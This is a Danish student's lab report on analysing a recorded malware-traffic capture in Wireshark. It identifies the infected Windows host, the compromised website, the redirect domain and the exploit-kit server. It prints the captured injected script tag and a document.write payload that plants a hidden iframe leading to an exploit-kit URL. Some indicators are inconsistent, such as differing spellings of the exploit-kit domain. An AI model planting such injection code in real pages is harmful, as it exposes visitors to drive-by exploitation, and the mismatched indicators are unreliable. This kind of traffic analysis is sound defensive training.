Skip to content

Øvelse 26 – Wireshark analyse af malwaretrafik

Forfatter: Mathias Greisen

Dato: 2026-09-17

Fag/modul: Introduktion til IT-Sikkerhed

Status: Færdig

1. Beskrivelse af øvelsen

At lære at anvende Wireshark til analyse af netværkstrafik ved at undersøge en optaget .pcap-fil med malwaretrafik. Fokus er på filtrering, analyse af pakker og identifikation af kompromitterede systemer, domæner og netværksforbindelser.

2. Reproduktion trin for trin

Forudsætninger

  • Kali Linux
  • Wireshark
  • "malware-traffic-analysis.net-2014-12-15.zip"
  • Password til ZIP: infected

Trin 1 – Klargør filer

  1. Hent ZIP-filen.
  2. Udpak arkivet med password.
  3. Udpak den medfølgende .pcap-fil.

Trin 2 – Åbn i Wireshark

  1. Start Wireshark.
  2. Åbn .pcap-filen.
  3. Tilpas kolonner og visning efter behov.

Trin 3 – Analyse

Undersøg trafikken ved hjælp af filtre, statistik, DNS-opslag, HTTP-trafik, Conversations, Endpoints m.m.

Tip

Brug display filters, Follow TCP Stream, Statistics → Conversations, Statistics → Endpoints og HTTP/DNS-filtrering for hurtigere at finde relevante oplysninger.

3. Problemer og løsninger

Problem Årsag Løsning
Problemer med hvad man skal kigge efter i .pcap filen Minimal tidligere erfaring med wireshark Trial and error og til sidt kigge på svarene for at bekræfte at man fandt det rigtige

4. Resultater og besvarelser

1. Hvad er hostnavnene på de tre Windows-maskiner?

Jeg kunne hurtigt se nogle navne bliver sendt på port 5355 som bruges af LLMNR.

Fra wikipedia:

"The Link-Local Multicast Name Resolution (LLMNR) is a protocol based on the Domain Name System (DNS) packet format that allows both IPv4 and IPv6 hosts to perform name resolution for hosts on the same local link. It is included in Windows Vista, Windows Server 2008, Windows 7, Windows 8, Windows 10."

Ved at filtrere på denne protokol kunne hostnavnene altså findes:

  • Filter 

    _ws.col.protocol == "LLMNR"

    Eller højreklik på en LLMNR protokol pakke -> Apply as filter -> Selected

  • Hostnavne:

    • MYHUMPS-PC
    • WORKSTATION6
    • ROCKETMAN-PC

2. Hvilken/hvilke IP-adresse(r) tilhører den/de Windows-maskine(r), der blev ramt af et exploit kit?

Jeg søgte efter mistænkelige host adresser og fandt "col.reganhosting.com" og "epzqy.iphaedba.ey:22780".

"col.reganhosting.com" så underlig ud da den kun opstod en enkelt gang. Ved at søge efter den kan jeg se at adressen indgår i en af pakkerne fra "www.theopen.be" og ved kig på http responsen ses det at den henter et javascript fra "col.reganhosting.com":

<script type='text/javascript' src='http://col.reganhosting.com/link'></script>

"epzqy.iphaedba.ey:22780" bruger en underlig port til http traffik. Adressen fremgår også som en iframe i det javascript som blev hentet fra "col.reganhosting.com".

GET /link HTTP/1.1
Accept: */*
Referer: http://www.theopen.be/
Accept-Language: en-US
User-Agent: Mozilla/4.0 (compatible; MSIE 8.0; Windows NT 6.1; Trident/4.0; SLCC2; .NET CLR 2.0.50727; .NET CLR 3.5.30729; .NET CLR 3.0.30729)
Accept-Encoding: gzip, deflate
Host: col.reganhosting.com
Connection: Keep-Alive


HTTP/1.1 200 OK
Server: nginx/1.4.4
Date: Mon, 15 Dec 2014 19:10:40 GMT
Content-Type: text/javascript
Content-Length: 243
Connection: keep-alive
Vary: Accept-Encoding,User-Agent
Content-Encoding: gzip

document.write(("<iframe src='http://epzqy.iphaeba.eu:22780/flow/17610/avenue/67785/source/43028/total/7782/misery/swirl/some/29364/patience/interval/ford/settle/knot/55468/anyone/land/' name='yBnYN' width=13 height=10 frameborder=0 marginheight=0 marginwidth=0 scrolling=no> </" + "iframe>"));

Dermed kan jeg fastslå at det hele stammede fra "www.theopen.be"

Den eneste enhed som forbandt dertil var IP:192.168.204.137, Host: MYHUMPS-PC

3. Hvilken/hvilke MAC-adresse(r) tilhører den/de ramte Windows-maskine(r)?

Denne kan findes under Ethernet II i en af pakkerne:

MAC: 00:0c:29:9d:b8:6d

4. Hvad er navnet/navnene på den/de kompromitterede hjemmeside(r)?

Som beskrevet i svaret til spørgsmål 2 så var den komprimitterede hjemmeside "www.theopen.be"

5. Hvilken/hvilke IP-adresse(r) har den/de kompromitterede hjemmeside(r)?

Kan findes under IPV4 i en af pakkerne til/fra "www.theopen.be" og er:

"213.186.33.19"

6. Hvad er domænenavnet/navnene på exploit kittet/kittene?

"epzqy.iphaedba.ey:22780"

7. Hvilken/hvilke IP-adresse(r) anvender exploit kittet/kittene?

"168.235.69.248" = "epzqy.iphaedba.ey:22780"

8. Er nogen af Windows-maskinerne blevet inficeret?

Ja som sagt er MYHUMPS-PC ramt.

9. Hvilket/hvilke exploit kit(s) nævnes i pcap-filen?

Kunne ikke selv finde svaret i filen.

10. Hvilken exploit blev anvendt?

Kunne ikke selv finde svaret i filen.

11. Hvilken/hvilke URL(s) blev anvendt som redirect mellem den kompromitterede hjemmeside og exploit kittet?

"col.reganhosting.com"

12. Hvilken/hvilke IP-adresse(r) benytter redirect-URL'en/-URL'erne?

"213.186.33.19" = "col.reganhosting.com"

Kontrol af svar

Svar stemmer delvist med løsningen.

5. Anvendte ressourcer

6. Opsummering af erfaringer

Jeg fik en masse erfaring med at gennemse en .pcap fil og hvilke ting man potentielt skal kigge efter for at spotte ondsindet trafik.